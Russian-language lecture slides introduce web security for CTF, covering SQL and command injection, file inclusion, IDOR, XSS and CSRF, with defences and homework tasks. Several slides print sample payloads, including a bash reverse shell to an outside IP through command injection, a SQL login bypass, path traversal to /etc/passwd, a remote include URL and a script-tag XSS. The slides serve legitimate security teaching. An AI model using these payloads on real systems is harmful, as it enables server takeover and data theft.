Web

Компьютерная Безопасность: Введение в CTF

1
Почему появилась потребность в Web безопасности

1. Человеческий фактор: люди ошибались, ошибаются и будут ошибаться

2. Современная политика разработки: шлеп шлеп и в продакшен.
3. Качество подготовки молодых сотрудников: важно уметь писать код, а не
программировать и разбираться в нюансах
4. Сложность Веба: некоторые темы достаточно специфичные, на которые
никто не обращает внимание (даже сеньоры)

2
Где можно найти безопасность веба в ИБ вакансиях

● Penetration Tester
● Application Security
● Red Team Specialist

----
● Bug Bounty*

3
Где можно найти безопасность веба в ИТ вакансиях

● Разработка
● QA специалист
● DevOps (в области конфигурации веб сервера)

4
Какие навыки можно получить занимаясь вебом

● Понимание, как работает браузер

● Понимание, как работает веб сервер (и backend вообще)
● Опыт работы с технологиями веб серверов
● Чтение кода + написание кода (включая frontend)

5
Общая идея тестирования веба

6
Почему вообще появляются уязвимости?

● Человеческий фактор – никто не застрахован от ошибки

● Качество новых разработчиков падает – шмяк шмяк и в продакшен
● Разработчик в большинстве случаев не до конца знает свою технологию
● Просто незнание определенных моментов безопасности
● Неправильный деплой веб сервиса (неправильные конфигурации)
● 0-day уязвимости

7
Чем руководствоваться при поиске этих проблем

● OWASP WSTG
● OWASP Top 10
● OWASP API Top 10
● PortSwigger
● Hacktricks

8
Как выглядит общение с сайтом

9
Как НЕ выглядит общение с сайтом

10
В чем разница? Пользователь может и будет
действовать нестандартно.

11
Что видит пользователь Что видит хакер

12
13
Как выглядит тестирование веб приложения

14
Что есть помимо Burp Suite?

● OWASP ZAP
● Charles proxy
● Proxyman

----

● Wireshark*

15
16
Server-side (backend)

17
Чего мы хотим достичь

● Компрометация сервера – возможность запустить команду на сервере

● Утечка данных – забрать приватные данные с сервера / БД
● Не дать посетителям использовать сайт
● Получить выгоду – например, повысить свой статус (usual → premium)
или купить продукт за 0 рублей

И так далее (на что ваша фантазия способна?)

18
А это достигается…

● SQL Injection
● Command Injection
● File Inclusion
● Sensitive Data Exposure
● File Upload Vulnerabilities
● IDOR
● Security through obscurity

19
Лекционное задание 1 до 8 октября 10:30

Как любой тестировщик веба, вы должны уметь строить модель угроз.

Предположим, ваша компания разрабатывает функционал по переводу денег
между пользователями А и Б с указанием суммы и валюты этой суммы.
В ответе должно быть:
- Какие проблемы безопасности могут быть в функционале
- Что вы порекомендуете, чтобы разработчик не допустил их
- Бонусом, вы можете предложить какие-нибудь технологии
для улучшения безопасности функционала

20
Лекционное задание 1 до 8 октября 10:30

Пример запроса:

POST /api/v1/pay HTTP/1.1

Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: username=superuser; Path=/
…

from=@user_petya&to=@user_vasya&amount=100&cur=RUB

21
Injection (Общая идея)

22
23
24
Но есть нюанс

Для любой инъекции нужно знать:

● Язык запроса
● Куда вставляется наш запрос
● Синтаксис (для построения синтаксически правильного запроса)
● Как отреагирует приложение на внедренные данные (будет ли видимая
реакция на инъекцию)

25
SQL Injection

26
Пример SQL Injection

27
Идея

● У нас есть SQL запрос

● Нет проверки входных (пользовательских) данных
● Пользовательские данные прямо подставляют в запрос
● Нужно составить новый SQL запрос, который был бы синтаксически
верным

28
Запрос

SELECT * FROM USERS WHERE Задача: войти под чужим

login=‘$login’ AND аккаунтом (например, под
password=‘$password’; “admin”)

Вытягивает все данные из

таблицы USERS и ищет
пользователя с логином $login и
паролем $password

29
Как делается полезная нагрузка

● Смотрим на то, какие параметры нам доступны

● В какое место они подставляются
● Какая именно СУБД используется (чтобы знать нюансы языка запросов)

30
Пример полезной нагрузки

Password:
‘ or login=‘admin
Тогда полный запрос будет выглядеть так:

31
Какие могут быть последствия

● В большинстве случаев приложение использует одну БД,

соответственно, в утечке будут все данные из БД
● В некоторых случаях SQL Injection может позволить локальное чтение
файлов
● В некоторых случаях SQL Injection позволит сделать Remote Code
Execution
● Могут быть внедрены вредоносные данные в БД

32
Как не допустить SQL Injection

● Не использовать сырые SQL запросы

● Валидировать пользовательский ввод
● И НИКОГДА НЕ ДОВЕРЯТЬ ЕМУ
● Использовать Prepared Statements
● Или использовать ORM

33
Как эксплуатировать SQL Injection

● Ручками
● Использовать sqlmap
● Использовать ghauri (привет, webpwnchat!)

34
Что осталось за кадром

● Три основных типа SQLinjection: Union, Boolean(error)-Based, Time-Based

● Что именно вытягивать из SQL: таблицы, колонки
● Фишки разных СУБД (комментарии, функции СУБД, code execution)
● Построение цепочки уязвимостей с SQL Injection (chain of vulnerabilities)

35
Command Injection

36
Пример Command Injection

37
Идея

● У нас есть команда ОС (Поэтому мы просим изучить Linux)

● Нет проверки входных (пользовательских) данных
● Пользовательские данные прямо подставляют в команду
● Нужно составить новую команду ОС, такую, чтобы синтаксис был
верным

38
Запрос

"cat /opt/bd/".$login."/data" Задача: прочитать чужой файл /

установить reverse shell
Читает данные по пути
/opt/bd/$login/data и
использует их дальше

39
Как делается полезная нагрузка

● Смотрим на то, какие параметры нам доступны

● В какое место они подставляются
● Какая именно ОС используется (чтобы знать какие команды доступны)

40
Пример полезной нагрузки

Login:
../../etc/passwd||
Тогда полный запрос будет выглядеть так:

41
Пример полезной нагрузки (reverse shell)

Login:
../../etc/passwd||sh -i >& /dev/tcp/193.124.117.118/4444 0>&1||
Тогда полный запрос будет выглядеть так:

42
Какие последствия Command Injection могут быть

● Полный контроль злоумышленником вашего сервера

● Доступ к исходному коду (если он там есть) / бинарнику
● Доступ к секретам (например, к данным для БД)
● Использование сервера для незаконных активностей

43
Как не допустить Command Injection

● Не использовать сырые команды ОС

● Валидировать пользовательский ввод
● И НИКОГДА НЕ ДОВЕРЯТЬ ЕМУ
● Использовать Prepared Statements
● Не использовать вообще вызов команд ОС

44
Как эксплуатировать Command Injection

● Ручками
● Использовать commix

45
Что осталось за кадром

● Виндовые команды (и нюансы)

● Нюансы связанные с переменными окружения
● Разные трюки для обхода фильтрации
● Что делать, если нет вывода от исполнения команды (blind RCE)

46
File Inclusion

47
Пример File Inclusion

48
Идея

● Используется динамическая подгрузка страницы

● Нет проверки входных данных
● Пользовательские данные прямо подставляются в include
● Нужно подгрузить ту страницу, которую не ожидает разработчик

49
Запрос

include($page) Задача: подгрузить не тот файл

и добиться code execution
Подгружает файл, который указан
в $page. Может быть даже
удаленный файл (например, URL
адрес с файлом)

50
Как делается полезная нагрузка

● Пробуем конкретный файл (например, /etc/passwd)

● Пробуем конкретный URL
● Пробуем разные приколы, вроде php://input

51
Пример полезной нагрузки

page:
http://bulbahackers.by/special.php
Тогда сервер может обратиться к bulbahackers.by за файлом special.php

52
Какие последствия File Inclusion могут быть

● Чтение файлов (например, исходный код или пользовательские данные)

● Можно добиться компрометации сервера (выполнения произвольных
команд злоумышленников)

53
Как не допустить File Inclusion

● Валидировать пользовательский ввод

● И НИКОГДА НЕ ДОВЕРЯТЬ ЕМУ
● Делать нормальные архитектурные решения

54
Как эксплуатировать File Inclusion

● Ручками
● Использовать LFISuite

55
Sensitive Data Exposure

56
В чем проблема

● Неправильная конфигурация веб сервера

● Неправильная архитектура приложения
● Злоумышленник может получить доступ к данным, которых у него не
должно быть

57
Real world examples

● https://example.com/.env (данные подключения к БД)

● https://example.com/docker-compose.yml
● В js коде был API токен реального сервиса
● API endpoint может отдавать те данные, которые не нужно отдавать
● IDOR с получением чужих данных
● Кейсы из разряда «разные сообщения для существующего пользователя
и не существующего»

58
Как не допустить подобные проблемы

● Внимательно настраивать CI/CD процессы разработки / деплоя

● Внимательно настраивать веб сервер
● Внимательно прорабатывать архитектуру приложения

59
Как искать подобные уязвимости

● Опыт
● Использовать intercepting proxy (и смотреть на запросы)
● Инструменты вроде dirsearch, ffuf
● Обращать внимание на интересный функционал

60
Что такое интересный функционал

● Бизнес логика приложения

● Переводы денег между аккаунтами
● Использование промокодов
● Шаринг документов с другим пользователем
● Добавление дополнительных почт для аккаунта
● Оставление комментариев к персональным документам
И так далее

61
File Upload Vulnerabilities

62
В чем проблема

● Пользователь часто может загружать файлы

● Но точно ли всегда эти файлы будут конкретного расширения
● Загрузив файл, пользователь может поломать нам сервис
● Или вообще сделает цепочку уязвимостей
● Все эти проверки не всегда хороши

63
Наиболее частые проблемы разработчика

● Проверяет только расширение файла по его названию → file.png

● Проверяет только «магические» байты
● Распаковывает zip архивы пользователя (привет, zip-бомба и атаки на
пути)
● Проверяет загрузку файла на стороне клиента (а не сервера!)
● Не проверяет загружаемый размер
● Может допустить в название файла ../
И так далее

64
Как не допустить эти проблемы у себя

● НЕ ИЗОБРЕТАТЬ ВЕЛОСИПЕД
● Загружать файл не на сервер с приложением, а в специализированное
хранилище
● Оперировать не объектами, а ссылками на объекты

65
Как эксплуатировать эти проблемы

● Руками
● + Hacktricks, чтобы узнать интересные случаи этой уязвимости

66
Insecure Direct Object Reference (IDOR)

67
Пример IDOR

68
Идея

● У каждого объекта есть уникальный идентификатор

● Поэтому когда мы вызываем endpoint с идентификатором – мы можем
обратиться к этому самому объекту
● Но что, если пользовать укажет другой объект?
● Проблема связана с отсутствием проверки прав пользователя

69
Запрос

https://example.com/profile/1337 Задача: собрать как можно

больше данных пользователей
Обращается за персональными сайта
данными по id 1337

70
Как делается полезная нагрузка

● Перебираем id (от 0 и вперед)

● Если у нас какие-то случайные UUID – облом
● НО! В BugBounty подобные баги принимают, если проверить на своем
другом аккаунте
● Плюс можно попробовать поискать по страницам, может будут другие
UUID пользователей

71
Пример полезной нагрузки

72
Какие последствия IDOR

● Частичная утечка базы данных

● IDOR может появляться и в других запросах – POST
● Можно изменить чужой аккаунт (реальный кейс) с использованием IDOR
● Грубо говоря – влияние на чужих пользователей

73
Как не допустить IDOR

● Нормально проектировать приложение (выстраивать архитектуру)

● Избегать использования прямых ссылок
● Если используются – используем концепцию UID (UUID/v4, SnowFlake)
● Не забываем проверять права доступа пользователя (!)

74
Как эксплуатировать IDOR

● Ручками
● ffuf
● Кастомные скрипты

75
Security through Obscurity

76
В чем проблема

● Разработчик исходит из позиции «откуда злоумышленник узнает нашу

внутреннюю инфраструктуру»
● Поэтому делает небезопасные API «для себя» (которые не безопасны by
design, но делаются очень быстро)
● Злоумышленник рано или поздно доберется до них – приложению каюк

77
Как не допустить эти проблемы у себя

● Исходить из принципа, что злоумышленник все знает

● Проектировать нормальную архитектуру приложения
● Отказываться от «быстрых доработок» в пользу качества

78
Как эксплуатировать эти проблемы

● Читать исходный код фронтенда

● Смотреть, какие запросы отсылаются на сервер
● Использовать dirsearch, ffuf, etc.
● Собирать как можно больше информации о сервисе, вплоть до поиска
документации сервиса

79
Лекционное задание 2 до 8 октября 10:30

Ваши разработчики решили использовать для cookie JWT. Вы, как

безопасник, должны объяснить вашим разработчикам потенциальные
проблемы, которые могут возникнуть из-за неправильного использования
JWT.
В ответе должно быть:
- Какая существует проблема и как вы предлагаете от нее защищаться
- Какие настройки вы порекомендуете использовать

80
Client-Side (Frontend)

81
Чего мы хотим достичь

● Хотим скомпрометировать данные пользователя

● Получить доступ к его видеокамере / клавиатуре etc.
● Заставить пользователя сделать что-то, чего он не хочет
● Не дать посетителю пользоваться сайтом

82
Этого мы можем достичь…

● XSS
● CSRF

И так далее

83
Лекционное задание 3 до 8 октября 10:30

Давайте представим, что вы – молодой специалист по безопасной разработке.

Начальство ставит вам задачу спроектировать требования по безопасности
frontend-части приложения.
Основные пункты:
- Обезопасить сервис от XSS, CSRF и других клиентских уязвимостей
- Требования по безопасности должны быть для frontend (либо, для веб
сервера, типа nginx)
- В ответе нужно описать, от какой проблемы вы защищаетесь
и как именно ваше решение позволит от нее защититься

84
Cross Site Scripting (XSS)

85
Пример XSS

86
Идея

● Мы работаем с JavaScript на компьютере пользователя

● Если получится внедрить чужой JS код – мы получим контроль над
браузером клиента
● Внедрить код мы можем при помощи серверных уязвимостей либо
недостатков фронтенда

87
Какие существуют типы XSS

● Stored

● Reflected

● DOM-Based

88
Пример запроса с Reflected XSS

https://example.com/search?name=<script>alert(1);</script>

89
Как делается полезная нагрузка

● Зависит от цели
● В большинстве случаев, используют готовую нагрузку (например,
xsshunter)
● Либо, специфичную для сайта, так как мы можем управлять
пользователем и его сессией (например, из его аккаунта обновить
персональные данные или перевести деньги другому пользователю)

90
Пример полезной нагрузки

91
Какие последствия XSS

● Полный контроль злоумышленником браузера жертвы и его аккаунта

● Злоумышленник может модифицировать аккаунт жертвы и делать
запросы от его лица
● Даже – включать веб камеру или записывать действия на странице*

92
Как не допустить XSS

● Валидировать данные, которые приходят от сервера

● НЕ ДОВЕРЯТЬ ПРИШЕДШИМ ДАННЫМ
● Безопасно вставлять данные на страницу (не использовать innerHTML)
● Использовать механизмы безопасности: CORS, SOP, etc.

93
Как эксплуатировать XSS

● Ручками
● PortSwigger (очень много полезной информации)
● XSSHunter (супер удобное приложение для работы с XSS)

94
Cross Site Request Forgery (CSRF)

95
В чем проблема

● Как понять, что запрос пришедший от пользователя – осознанный

запрос
● Ведь может оказаться так, что этот запрос послал просто браузер без
ведома пользователя
● Или этот запрос мог быть послан вообще с другой страницы

96
Как не допустить эти проблемы у себя

● Использовать CSRF токен для каждого запроса

● Проектировать сервис таким образом, чтобы GET-запросы ничего не
изменяли

97
98
Как эксплуатировать эти проблемы

● Читать исходный код фронтенда

● Смотреть, какие запросы отсылаются на сервер
● Собирать как можно больше информации о сервисе, вплоть до поиска
документации сервиса

99
Web в CTF

100
Что можно встретить на соревнованиях

● Задачи на клиентский веб

● Задачи на серверный веб
● Чтение документации различных технологий
● Чтение кода (и поиск проблем в нем)
● Задачи с цепочками уязвимостей
● 0-day (атаки на браузер)

101
Как находить информацию для решения веба

● Гугл
● PortSwigger
● Гугл “ctf web <technology> writeup”
● OWASP TOP 10 (+ API + WSTG)
● Официальная документация (технологий или браузера)

102
Что делать, если идей нет вообще?

1. Определяем входные точки, которые мы можем контролировать

2. Проверяем, какая бизнес логика приложения (например, денежные
переводы)
3. Определяем интересующие нас функции
4. Постепенно спускаемся к ним и ищем, за что можно зацепиться
5. Можно поставить себя на место автора задачи подумать, что он мог
заложить
6. Читаем документацию

103
Ответы на вопросы

104
Что дополнительно изучить для веба

● PortSwigger Academy
● OWASP TOP 10 (+ API + WSTG)
● Hacktricks
● The Tangled Web: A Guide to Securing Modern Web Applications
● developer.mozilla.org
● Практика CTF соревнований

105
Практика

106